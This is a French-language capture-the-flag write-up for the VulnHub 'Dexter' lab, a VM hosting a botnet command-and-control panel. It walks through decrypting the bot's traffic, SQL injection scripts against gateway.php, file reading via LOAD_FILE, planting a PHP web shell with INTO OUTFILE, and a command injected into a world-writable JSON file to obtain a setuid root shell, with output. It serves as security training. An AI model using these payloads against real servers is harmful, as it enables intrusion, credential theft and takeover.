Tam tadam tadam…
Le challenge Dexter de VulnHub est le troisième d’une série dédié à l’intrusion dans un serveur où se trouve le C&C d’un botnet.
Vous trouverez sur mon site les solutions des deux précédents challenges RA1NXing Bots et Flipping Bitbot.
Comme pour les précédents le CTF semble se baser sur un botnet existant, en occurrence le malware Dexter.
Pour pouvoir réellement commencer ce CTF il faut obtenir quelques informations sur le bot, en particulier la façon dont il communique avec le C&C sans quoi il y a peut de chances de trouver une porte d’entrée.
J’ai trouvé deux articles concernant ce bot, le premier de SpiderLabs décrit le chiffrement qui est utilisé par le bot.
Le second article par Cylance donne plus d’informations et certains le considéreront peut être comme un spoiler.
J’ai décidé de m’attaquer au challenge en me limitant à la connaissance de l’algorithme de chiffrement.
Utiliser un exploit existant pour Dexter aurait diminué l’intérêt du challenge (un module Metasploit semble exister pour le C&C).
Un air de famille
Quand on lance le scan de ports on découvre des services qui ne sont pas sans rappeler les précédents challenges.
À se demander si le RPC n’est pas actif par défaut sous Debian…
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Nmap scan report for 192.168.1.54
Host is up (0.00023s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4 (protocol 2.0)
| ssh-hostkey:
| 1024 2b:60:6f:53:b8:c9:c8:f4:3b:0e:9b:9e:46:97:b7:55 (DSA)
| 2048 b5:9f:66:ab:f8:5d:a9:3e:51:8a:97:c3:85:10:e3:62 (RSA)
|_ 256 e7:bc:52:4f:29:0d:db:21:7e:72:76:2b:dd:ec:12:8e (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 36505/tcp status
|_ 100024 1 50061/udp status
36505/tcp open status 1 (RPC #100024)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 36505/tcp status
|_ 100024 1 50061/udp status
Arrivé sur le site web, on trouve deux liens. Le premier vers /Panel/ qui est de toute évidence le dossier où a été placé les scripts du C&C.
Le second lien est une analyse automatique du bot (un exécutable win32) réalisé par le site malwr.com.
Parmi les chaines qui pourraient être d’une quelquonque utilité on relève :
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62.149.24.147
dexter/gateway.php
response=
&view=
&spec=
&query=
download-
update-
checkin:
scanin:
uninstall
Network forensics
Mais le plus intéressant est la trace réseau récupérée par l’analyse, en particulier la requête HTTP qui a été transmise vers gateway.php.
Ainsi si l’on se base sur l’article de SpiderLabs, le paramètre val envoyé par POST contient la clé de chiffrement encodée en base64.
Son décodage (par Python ou tout autre site en ligne et utilitaire) retourne la clé “gisha” (le bot génère une clé aléatoire à chaque requête).
J’ai écrit le programme suivant qui permet de chiffrer / déchiffrer des données transmises par Dexter :
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#!/usr/bin/python
import sys
import base64
key = None
def encrypt(s):
e = ""
for c in s:
x = ord(c)
for k in key:
x = x ^ ord(k)
e = e + chr(x)
return base64.b64encode(e)
def decrypt(s):
s2 = base64.b64decode(s)
e = ""
for c in s2:
x = ord(c)
for k in key:
x = x ^ ord(k)
e = e + chr(x)
return e
if len(sys.argv) < 4 or sys.argv[2] not in ["e","d"]:
print "Usage: {0} <key> [e|d] <data>".format(sys.argv[0])
sys.exit()
key = sys.argv[1]
if sys.argv[2] == "e":
print encrypt(sys.argv[3])
else:
print decrypt(sys.argv[3])
Ainsi si j’appelle ce script en passant comme paramètre :
- gisha (la clé)
- d (pour déchiffrer)
- le contenu de la variable view dans la requête HTTP
J’obtiens ce résultat :
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[System Process]
System
smss.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
explorer.exe
spoolsv.exe
jqs.exe
GrooveMonitor.exe
ctfmon.exe
pythonw.exe
alg.exe
svchost.exe
pythonw.exe
iexplore.exe
iexplore.exe
On a donc quelques méthodes qui nous serviront par la suite.
Un scan du dossier /Panel/ avec dirb révèle d’autres pages web :
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$ ./dirb http://192.168.1.54/Panel/ wordlists/big.txt -X .php
---- Scanning URL: http://192.168.1.54/Panel/ ----
+ http://192.168.1.54/Panel/config.php (CODE:200|SIZE:0)
+ http://192.168.1.54/Panel/gateway.php (CODE:200|SIZE:0)
+ http://192.168.1.54/Panel/index.php (CODE:200|SIZE:234)
+ http://192.168.1.54/Panel/info.php (CODE:200|SIZE:2)
+ http://192.168.1.54/Panel/load.php (CODE:200|SIZE:0)
+ http://192.168.1.54/Panel/main.php (CODE:200|SIZE:4)
+ http://192.168.1.54/Panel/master.php (CODE:200|SIZE:385)
+ http://192.168.1.54/Panel/pagination.php (CODE:200|SIZE:90)
+ http://192.168.1.54/Panel/upload.php (CODE:200|SIZE:514)
+ http://192.168.1.54/Panel/viewer.php (CODE:200|SIZE:47)
Ces pages ne révèlent rien de bien intéressant. Le script d’upload semble ouvert mais n’indique pas si l’upload a bien fonctionné et ne donne pas le chemin vers le fichier uploadé.
Premier coup de scalpel
Je reviens donc vers gateway.php : on sait maintenant comment chiffrer les paramètres mais on ne sait pas quels paramètres sont vulnérables.
Pour cela j’ai écrit un script qui teste plusieurs payloads d’injection MySQL time-based pour chaque paramètre (la fonction encrypt n’est pas affichée pour gagner de la place).
La méthode time-based a été choisie car gateway.php ne semble retourner aucun contenu à priori :(
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args = ['page', 'unm', 'cnm', 'query', 'spec', 'opt', 'view', 'var']
key = "test"
payloads = [' OR sleep(5)#', '" OR sleep(5)#', '\' OR sleep(5)#']
url = "http://192.168.1.54/Panel/gateway.php"
hdrs = {"Content-Type": "application/x-www-form-urlencoded"}
sess = requests.session()
for a in args:
for p in payloads:
d = {
"val": base64.b64encode(key),
a: encrypt(p)
}
print "param = {0}, payload = {1}".format(a, p)
try:
r = sess.post(url, data=d, headers=hdrs, timeout=3)
print r.content
except:
print "timeout !"
break
print "=================================="
Dans l’output généré on voit :
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param = page, payload = ' OR sleep(5)#
timeout !
Le paramètre page est donc vulnérable et il faut fermer une quote pour injecter du SQL.
Maintenant voyons voir comment on peut extraire des données de la base.
La méthode la plus simple est d’utiliser un UNION mais on ne sait pas combien de colonnes seront nécessaires pour que l’opération réussisse.
Là encore j’ai écris un script qui teste jusqu’à 10 colonnes en espérant que dans les différentes réponses HTTP on en trouve une qui diffère des autres.
J’ai eu la bonne idée d’afficher les headers HTTP dans l’output.
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payloads = [
"' UNION SELECT NULL#",
"' UNION SELECT NULL,NULL#",
"' UNION SELECT NULL,NULL,NULL#",
"' UNION SELECT NULL,NULL,NULL,NULL#",
"' UNION SELECT NULL,NULL,NULL,NULL,NULL#",
"' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL#",
"' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#",
"' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#",
"' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#",
"' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#"
]
url = "http://192.168.1.54/Panel/gateway.php"
hdrs = {"Content-Type": "application/x-www-form-urlencoded"}
sess = requests.session()
for p in payloads:
d = {
"val": base64.b64encode(key),
arg: encrypt(p)
}
print "payload = {0}".format(p)
try:
r = sess.post(url, data=d, headers=hdrs, timeout=3)
print r.headers
print r.content
except:
print "error !"
break
print "=================================="
Pour une UNION avec 3 colonnes on s’apperçoit qu’une valeur de cookie différente est retournée :
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payload = ' UNION SELECT NULL#
CaseInsensitiveDict({'content-length': '20', 'x-powered-by': 'PHP/5.4.4-14+deb7u8', 'set-cookie': 'response=MjU%3D', --- snip ---
==================================
payload = ' UNION SELECT NULL,NULL#
CaseInsensitiveDict({'content-length': '20', 'x-powered-by': 'PHP/5.4.4-14+deb7u8', 'set-cookie': 'response=MjU%3D', --- snip ---
==================================
payload = ' UNION SELECT NULL,NULL,NULL#
CaseInsensitiveDict({'content-length': '20', 'x-powered-by': 'PHP/5.4.4-14+deb7u8', 'set-cookie': 'response=Mi01', --- snip ---
==================================
payload = ' UNION SELECT NULL,NULL,NULL,NULL#
CaseInsensitiveDict({'content-length': '20', 'x-powered-by': 'PHP/5.4.4-14+deb7u8', 'set-cookie': 'response=MjU%3D', --- snip ---
--- snip ---
On reprend le script précédent en modifiiant juste la liste des payloads :
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payloads = [
"' UNION SELECT 'encodeme',NULL,NULL#",
"' UNION SELECT NULL,'encodeme',NULL#",
"' UNION SELECT NULL,NULL',encodeme'#"
]
Pour le second cas (la chaîne encodeme en seconde position) le script me retourne un Set-Cookie response=MnN4dXlyc3tzLTU%3D ce qui une fois décodé correspond à :
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$encodeme;#
Un préfixe et un suffixe sont rajoutés, mais le principal est que l’on n’est finalement pas en présence d’une injection en aveugle :)
I’ve imagined her naked plenty times, but never like this
Ni une ni deux, je code un exploit me permettant de lire un fichier sur le système en injecter un LOAD_FILE()
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import requests
import base64
import sys
import urllib
arg = 'page'
key = "test"
def encrypt(s):
e = ""
for c in s:
x = ord(c)
for k in key:
x = x ^ ord(k)
e = e + chr(x)
return base64.b64encode(e)
def decrypt(s):
s2 = base64.b64decode(s)
e = ""
for c in s2:
x = ord(c)
for k in key:
x = x ^ ord(k)
e = e + chr(x)
return e
url = "http://192.168.1.54/Panel/gateway.php"
hdrs = {"Content-Type": "application/x-www-form-urlencoded"}
sess = requests.session()
payload = "' UNION SELECT NULL,LOAD_FILE('{0}'),NULL#".format(sys.argv[1])
d = {
"val": base64.b64encode(key),
arg: encrypt(payload)
}
r = sess.post(url, data=d, headers=hdrs, timeout=3)
data = urllib.unquote(r.headers['set-cookie'].split("=", 1)[1])
print decrypt(data)
Dans la pratique :
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$ python exploit.py /etc/passwd
$root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
dexter:x:1000:1000:dexter,,,:/home/dexter:/bin/bash
mysql:x:104:106:MySQL Server,,,:/nonexistent:/bin/false
;#
Après avoir retrouvé les fichiers de configuration d’Apache (/etc/apache2/apache2.conf et /etc/apache2/sites-enabled/000-default) je récupère le config.php du C&C :
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<?php
//Connect to shitty DB
$dbname = "nasproject";
$user = "root";
$pw = "password";
$link = mysql_connect('localhost',$user,$pw);
$db = mysql_select_db($dbname,$link);
/////////////////////////////////////////
?>
C’est bien mais maintenant il faudrait écrire sur le disque. Pas bien compliqué (exes étant le path utilisé par le script d’upload donc certainement écrivable) :
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payload = "' UNION SELECT NULL,'<?php system($_GET[\"cmd\"]); ?>',NULL INTO OUTFILE '/var/www/Panel/exes/bd.php'#"
url = "http://192.168.1.54/Panel/gateway.php"
hdrs = {"Content-Type": "application/x-www-form-urlencoded"}
sess = requests.session()
d = {
"val": base64.b64encode(key),
arg: encrypt(payload)
}
r = sess.post(url, data=d, headers=hdrs, timeout=3)
data = urllib.unquote(r.headers['set-cookie'].split("=", 1)[1])
print decrypt(data)
Une fois un shell récupéré je peux me connecter sur le serveur MySQL avec les identifiants vus plus tôt.
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mysql> show tables;
+----------------------+
| Tables_in_nasproject |
+----------------------+
| bots |
| commands |
| config |
| logs |
| users |
+----------------------+
5 rows in set (0.00 sec)
mysql> select * from users;
+-------------+-----------------------------------------------------------+
| name | password |
+-------------+-----------------------------------------------------------+
| loserbotter | if i had any real talent, i would make money legitimately |
+-------------+-----------------------------------------------------------+
1 row in set (0.00 sec)
On a maintenant les identifiants d’accès au C&C… Mais au point où on en est quel intérêt ?
Au passage j’ai jeté un œil aux hashs dans la table user de MySQL et ils correspondent tous les deux (pour root et dexter) à “password”.
The coroner can suck my uncircumcised dick if he doesn’t rule this a homicide
Dans /var/www il y a des fichiers il y a des fichiers qui ne semblent attendre que nous :
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root@dexter:/var/www# ls -l
total 16
-rw-rw-rw- 1 root root 840 Mar 16 18:03 antitamper.list
-rw-r--r-- 1 root root 278 Mar 16 17:04 antitamper.py
-rw-r--r-- 1 root root 201 Mar 16 18:05 index.html
drwxr-xr-x 3 root root 4096 Mar 16 18:10 Panel
-rw-r--r-- 1 root root 0 Mar 16 17:04 tamper.log
Le fichier antitamper.list est un fichier JSON avec des hashs et des noms de fichiers :
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{
"/var/www/Panel/info.php": "d8fa4356213b6ce9253f55acdff780ac",
"/var/www/Panel/upload.php" : "b2640cea86e5171662a082b6a043fcc2",
"/var/www/Panel/style.css": "92f234834a61b7fde898eea40f857bb3",
"/var/www/Panel/gateway.php": "7b93115195db0c0b085a1107c4cc1aed",
"/var/www/Panel/pagination.php": "1a8d91c12263dd5298a70c72976c5e97",
"/var/www/Panel/viewer.php": "292b3b12c2f90c0e557bf599c2475c15",
"/var/www/Panel/config.php": "421fc13061ab1f343e6607e4ef4f8f42",
"/var/www/Panel/main.php": "7812b7c1ed608299c9bece4f46607423",
"/var/www/Panel/load.php": "0f95762562aa97c62d004949e7337e95",
"/var/www/Panel/viewer_pagination.php": "60c7444a92daa115abfecc73c46fc2ec",
"/var/www/Panel/master.php": "2b50c51fce89ddcfb769effdeab7080c",
"/var/www/Panel/index.php": "af44aa507c02f3c1aede5e251b28dc64"
}
Quand au script Python (qui est une sorte de vérificateur d’intégrité des fichiers) :
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import os
import json
def check():
with open('/var/www/antitamper.list') as f:
content = json.loads(f.read())
for f in content:
s = "echo '%s %s' | md5sum -c --status >> /var/www/tamper.log" % (content[f], f)
os.system(s)
check()
Le script appelle la commande echo via os.system(). Il lui passe deux arguments provenant du fichier JSON.
Or il se trouve que ce dernier est word-writable. Le modifier pour provoquer une injection de commande n’est pas difficile par contre j’ai beau avoir cherché ce qui peut provoquer l’appel de antitamper.py je n’ai rien trouvé.
J’ai finalement tenté ma chance en modifiant la première entrée du dictionnaire de cette façon :
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"';chown root.root /var/www/Panel/exes/getroot;chmod +s /var/www/Panel/exes/getroot;#'": "d8fa4356213b6ce9253f55acdff780ac",
Où getroot est un programme préalablement compilé qui fait un setuid/setgid 0 avant de lancer un shell.
Un dièse est placé pour marquer un commentaire bash et une quote est là pour que le nombre total de quotes soit paire (sinon bash peut lever une erreur de syntaxe).
Et miracle :
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$ cp antitamper.list /tmp/sav_antitamper.list
$ cp /tmp/modified_antitamper.list antitamper.list
$ ls -l Panel/exes/
total 740
-rw-rw-rw- 1 mysql mysql 36 Jun 9 18:12 bd.php
-rwsr-xr-x 1 root root 10722 Jun 10 01:15 getroot
-rwxrw-rw- 1 mysql mysql 738792 Apr 19 13:44 tshd
$ ./Panel/exes/getroot
root@dexter:/tmp# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@dexter:/tmp# head -1 /etc/shadow
root:$6$gN9t1RCt$dYj80MPAWCeWkh9kTpoPHuUU.x5hfaXfrB.UUWkMQDQpjDfAHO4D2RLWvG00wjUGrO8EMdfl/Ys31WePgl8hV1:16145:0:99999:7:::
Quant à l’explication sur le lancement de antitamper.py :
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root@dexter:~# tail -1 /var/spool/cron/crontabs/root
*/1 * * * * python /var/www/antitamper.py
Next step LoBOTomy ?
Published June 13 2014 at 22:09